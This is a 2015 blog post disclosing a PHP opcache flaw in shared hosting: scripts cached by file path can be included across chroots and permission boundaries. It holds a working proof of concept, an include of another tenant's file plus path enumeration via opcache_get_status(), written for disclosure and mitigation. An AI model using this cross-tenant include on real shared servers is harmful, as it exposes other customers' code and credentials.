Fri 20 February 2015

PHP 5.5+, php5-fpm, and opcache in shared hosting environments

Since PHP 5.5 the PHP team has included their own opcode cache in the PHP standard distribution, this is called the opcache. This article will show you how small misjudgements in its workings can cause severe security issues in your environment.

The opcode cache

An opcode cache can be turned on to improve performance of PHP scripts or lighten server load by trading off memory usage for cpu power. In PHP's case the opcode cache will cache the results of the compilation step of a PHP script so that subsequent requests won't need to load the file from disk and recompile it.

Depending on your situation an opcode cache can increase performance and throughput by a lot.

However, I am not going to write about what opcache achieves but will instead focus on caveats of using PHP's opcache in a production shared hosting environment where you have multiple users per server all running their own applications.

The issue

A while back a question in the ##php channel on Freenode sparked my interest. A user was asking why one wordpress site was serving another site's content. In his case an apparently painful mistake, as one was a children's site and the other an adult site.

We came to the conclusion pretty quickly that his server had opcache turned on. This seemed to cause his hosting environment to be unable to differ between two config files.

My setup

In my example hosting setup I will use the following:

  • nginx
  • php5-fpm
  • php5.6 with opcache enabled

Including files from elsewhere

My VM has two virtualhosts called 1.localhost and 2.localhost, both will get their own config files for nginx and php5-fpm.

# FPM processes are configured to run as the user
root@debian:/home# grep -r "user =" /etc/php5/fpm/pool.d/
/etc/php5/fpm/pool.d/1.conf:user = one
/etc/php5/fpm/pool.d/2.conf:user = two

# FPM processes also run chrooted into the homedirs
root@debian:/home# grep -r "chroot " /etc/php5/fpm/pool.d/
/etc/php5/fpm/pool.d/1.conf:chroot = /home/one
/etc/php5/fpm/pool.d/2.conf:chroot = /home/two
root@debian:/home# grep 'SCRIPT_FILENAME' /etc/nginx/sites-enabled
1.localhost:            fastcgi_param SCRIPT_FILENAME $fastcgi_script_name;
2.localhost:            fastcgi_param SCRIPT_FILENAME $fastcgi_script_name;

When you do shared hosting you don't want user one to be reading user two's files so we will set their home directory permissions to be very strict and only allow the users themselves to read, write, or execute their own homedirs and files within:

root@debian:/home# ls -l .
total 12
drwx------ 2 one       one       4096 Feb 20 12:45 one
drwx------ 2 two       two       4096 Feb 20 12:45 two

root@debian:/home# ls -l one/
total 4
-rw------- 1 one one 25 Feb 20 12:42 one.php

root@debian:/home# ls -l two/
total 4
-rw------- 1 two two 46 Feb 20 12:44 two.php

With apache you often see people use tools like suexec to have the PHP execute as a certain user. We will do the same with php5-fpm and we'll go one step further and chroot the PHP processes into the respective home directories so they can't read outside.

I've put two files into these users' homedirs:

# one.php just sets a single variable
root@debian:/home# cat one/one.php
<?php
$one = "one";
?>

# This file tries to include the non-existent "/one.php" in its chroot
root@debian:/home# cat two/two.php
<?php
    include "/one.php";
    print $one;
?>

Requesting these files will show us the very predictable empty output from file two and a warning plus notice in the error log as long as the opcache is not enabled.

root@debian:/home# curl http://1.localhost/one.php
root@debian:/home# curl http://2.localhost/two.php
root@debian:/home# tail -n 2 /var/log/nginx/error.log
PHP message: PHP Warning:  include(): Failed opening '/home/one/one.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /two.php on line 3
PHP message: PHP Notice:  Undefined variable: one in /two.php on line 5" while reading response header from upstream, client: 127.0.0.1, server: 2.localhost, request: "GET /two.php HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-two.sock:", host: "2.localhost"

Now, let's turn on opcache:

root@debian:/home# grep "opcache.enable" /etc/php5/fpm/php.ini
opcache.enable=1
# Request one.php on pool one
root@debian:/home# curl http://1.localhost/one.php

# Request two.php on pool two
root@debian:/home# curl http://2.localhost/two.php
one

Oh dear. The vhost for user two suddenly is showing the code and config variables for user one.

The reason this happens is because PHP's opcache uses the file path of the file that is being executed as the key for the cache.

Because our files are ran in a chroot our filepaths start with / being the root of the chroot. Since opcache uses the full path as the key including the file one.php in user two's homedir will resolve to looking up /one.php. A file that was put in the cache by user one's website at that path.

PHP does not check whether this file has the correct permissions for the current user accessing this file and all PHP interpreters share the same part of shared memory. Hence opcache will read cross-chroot and ignore file permissions causing pretty big security issues.

However, this issue would be found and dealt with very quickly in any real sort of environment (it doesn't take long for people to realize they are getting served very wrong index.php's.

Let's take a look at another situation, a situation where PHP interpreters are not chrooted, or maybe they are chrooted at a higher level.

It's trivial if you know (in a shared environment) that your site is hosted at /home/ikanobori/www.ikanobori.jp that Eve's site is probably residing at /home/eve/www.eve.tld. You might also know that that domain runs on Wordpress.

All above examples have stayed the same aside from turning off the chroots in php5-fpm. Take note of the ; which comments out the lines.

root@debian:/home# grep -r 'chroot =' /etc/php5/fpm/pool.d/
/etc/php5/fpm/pool.d/www.conf:;chroot =
/etc/php5/fpm/pool.d/1.conf:; chroot = /home/one
/etc/php5/fpm/pool.d/2.conf:; chroot = /home/two

With the same files as above (and I will skip the first request) the second request yields an include warning and the variable is undefined.

root@debian:/home# curl http://2.localhost/two.php
root@debian:/home# tail -n 2 /var/log/nginx/error.log
PHP message: PHP Warning:  include(): Failed opening '/one.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /home/two/two.php on line 3
PHP message: PHP Notice:  Undefined variable: one in /home/two/two.php on line 5" while reading response header from upstream, client: 127.0.0.1, server: 2.localhost, request: "GET /two.php HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-two.sock:", host: "2.localhost"

Editing the file to reference the full path to user one's one.php however gives the same result as before:

root@debian:/home# cat two/two.php
<?php

include "/home/one/one.php";
print $one;

?>
root@debian:/home# curl http://1.localhost/one.php
root@debian:/home# curl http://2.localhost/two.php
one

Everyone can probably see that guessing or iterating over paths would be trivial but if that is too tedious to do PHP offers the neat opcache_get_status() function to which access should be restricted. It returns a full list of cached scripts including their full paths:

Array
(
    [opcache_enabled] => 1
    [cache_full] =>
    [restart_pending] =>
    [restart_in_progress] =>
    [memory_usage] => Array
        (
            [used_memory] => 5467608
            [free_memory] => 61641256
            [wasted_memory] => 0
            [current_wasted_percentage] => 0
        )

    [interned_strings_usage] => Array
        (
            [buffer_size] => 4194304
            [used_memory] => 316216
            [free_memory] => 3878088
            [number_of_strings] => 3523
        )

    [opcache_statistics] => Array
        (
            [num_cached_scripts] => 3
            [num_cached_keys] => 3
            [max_cached_keys] => 3907
            [hits] => 1
            [start_time] => 1424469765
            [last_restart_time] => 0
            [oom_restarts] => 0
            [hash_restarts] => 0
            [manual_restarts] => 0
            [misses] => 3
            [blacklist_misses] => 0
            [blacklist_miss_ratio] => 0
            [opcache_hit_rate] => 25
        )

    [scripts] => Array
        (
            [/home/one/one.php] => Array
                (
                    [full_path] => /home/one/one.php
                    [hits] => 1
                    [memory_consumption] => 768
                    [last_used] => Fri Feb 20 23:02:55 2015
                    [last_used_timestamp] => 1424469775
                )

            [/home/two/two.php] => Array
                (
                    [full_path] => /home/two/two.php
                    [hits] => 0
                    [memory_consumption] => 816
                    [last_used] => Fri Feb 20 23:02:55 2015
                    [last_used_timestamp] => 1424469775
                )

            [/home/one/alloc.php] => Array
                (
                    [full_path] => /home/one/alloc.php
                    [hits] => 0
                    [memory_consumption] => 968
                    [last_used] => Fri Feb 20 23:04:51 2015
                    [last_used_timestamp] => 1424469891
                )

        )

I have reported this issue to the PHP team in their bug tracker and am working on a patch which would include either a configurable prefix or the uid, guid, and euid of the calling process accessing the cache in the cache key to mitigate the issue, however my C is rusty at best.